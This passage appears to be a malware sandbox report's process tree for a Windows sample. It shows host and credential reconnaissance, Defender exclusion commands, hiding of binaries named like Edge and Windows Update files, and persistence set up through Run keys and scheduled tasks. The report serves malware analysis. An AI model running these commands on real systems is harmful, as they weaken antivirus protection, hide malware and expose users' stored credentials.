    3⤵
    PID:3768
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
      4⤵
      PID:2280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-Table -AutoSize -Wrap""
    3⤵
    PID:4168
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-Table -AutoSize -Wrap"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:5964
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:3260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV"
    3⤵
    PID:4484
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO CSV
      4⤵
      Enumerates processes with tasklist
      PID:4436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance SoftwareLicensingService).OA3xOriginalProductKey""
    3⤵
    PID:1956
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "(Get-CimInstance SoftwareLicensingService).OA3xOriginalProductKey"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName SoftwareLicensingProduct | Where-Object {$_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f' -and $_.LicenseStatus -eq 1}).PartialProductKey""
    3⤵
    PID:5780
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName SoftwareLicensingProduct | Where-Object {$_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f' -and $_.LicenseStatus -eq 1}).PartialProductKey"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ipconfig /all"
    3⤵
    PID:4436
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:3048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "arp -a"
    3⤵
    - Network Service Discovery
    PID:6048
  - - C:\Windows\system32\ARP.EXE
      arp -a
      4⤵
      Network Service Discovery
      PID:6012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netstat -ano"
    3⤵
    - System Network Connections Discovery
    PID:1080
  - - C:\Windows\system32\NETSTAT.EXE
      netstat -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      PID:448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ipconfig /displaydns"
    3⤵
    PID:5144
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /displaydns
      4⤵
      Gathers network information
      PID:556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "route print"
    3⤵
    PID:3804
  - - C:\Windows\system32\ROUTE.EXE
      route print
      4⤵
      PID:4924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net share"
    3⤵
    PID:5400
  - - C:\Windows\system32\net.exe
      net share
      4⤵
      PID:1988
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 share
        5⤵
        
        PID:4720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4644
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles"
    3⤵
    PID:5444
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:4948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled | Format-List""
    3⤵
    PID:5892
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled | Format-List"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:5960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-MpPreference -ErrorAction SilentlyContinue | Select-Object -ExpandProperty ExclusionPath""
    3⤵
    PID:2668
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4540
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-MpPreference -ErrorAction SilentlyContinue | Select-Object -ExpandProperty ExclusionPath"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:1084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles state"
    3⤵
    PID:1016
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles state
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:2136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4668
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s 2>nul"
    3⤵
    PID:2256
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s
      4⤵
      PID:2940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" 2>nul"
    3⤵
    PID:804
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
      4⤵
      PID:1528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmdkey /list"
    3⤵
    PID:5512
  - - C:\Windows\system32\cmdkey.exe
      cmdkey /list
      4⤵
      PID:1648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s 2>nul"
    3⤵
    PID:4984
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3020
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s
      4⤵
      PID:4544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s 2>nul"
    3⤵
    PID:2548
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s
      4⤵
      PID:6076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:6084
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:1200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:1356
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:5588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productState /format:csv 2>nul"
    3⤵
    PID:3784
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productState /format:csv
      4⤵
      PID:5464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic product get name,version /format:csv 2>nul"
    3⤵
    PID:3660
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:424
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic product get name,version /format:csv
      4⤵
      PID:4052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
    3⤵
    PID:3800
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
      4⤵
      PID:3896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName SystemRestore -ErrorAction SilentlyContinue | Select-Object CreationTime,Description,EventType | Format-Table -AutoSize""
    3⤵
    PID:4144
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-CimInstance -ClassName SystemRestore -ErrorAction SilentlyContinue | Select-Object CreationTime,Description,EventType | Format-Table -AutoSize"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:4460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MsEdgeAutoUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:3568
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe"
    3⤵
    - Views/modifies file attributes
    PID:2052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:3336
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier"
    3⤵
    PID:424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:6028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MicrosoftEdgeUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:5820
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe"
    3⤵
    - Views/modifies file attributes
    PID:3704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:5496
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier"
    3⤵
    PID:5660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Media Player\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wmlaunch.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:1040
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe"
    3⤵
    - Views/modifies file attributes
    PID:4660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4760
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier"
    3⤵
    PID:1416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"SearchFilterHost.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2060
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe"
    3⤵
    - Views/modifies file attributes
    PID:5464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4444
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier"
    3⤵
    PID:5856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:6076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wuauclt.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:3900
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe"
    3⤵
    - Views/modifies file attributes
    PID:5668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4272
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier"
    3⤵
    PID:3296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f 2>nul"
  2⤵
  PID:2756
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
    3⤵
    PID:2356
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
      4⤵
      PID:5844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f 2>nul"
  2⤵
  PID:4388
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f
    3⤵
    PID:5940
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f
      4⤵
      PID:5932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f 2>nul"
  2⤵
  PID:2576
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f
    3⤵
    PID:4072
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f
      4⤵
      PID:5936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "MicrosoftEdgeUpdate" /f 2>nul"
  2⤵
  - Indicator Removal: Clear Persistence
  PID:5168
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "MicrosoftEdgeUpdate" /f
    3⤵
    PID:4740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f"
  2⤵
  PID:3220
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f
    3⤵
    PID:3120
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:3020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_0_1780275928261.xml" /f"
  2⤵
  PID:4824
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_0_1780275928261.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:5256
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:5132
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_1_1780275928354.xml" /f"
  2⤵
  PID:4200
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_1_1780275928354.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:4048
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:2720
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_2_1780275929120.xml" /f"
  2⤵
  PID:2336
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_2_1780275929120.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:648
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:2792
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_3_1780275929354.xml" /f"
  2⤵
  PID:5568
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_3_1780275929354.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:5460
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc_timer" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:1728
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3724
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc_timer" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_4_1780275930323.xml" /f"
  2⤵
  PID:5696
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_4_1780275930323.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:1820
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5844
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:4164
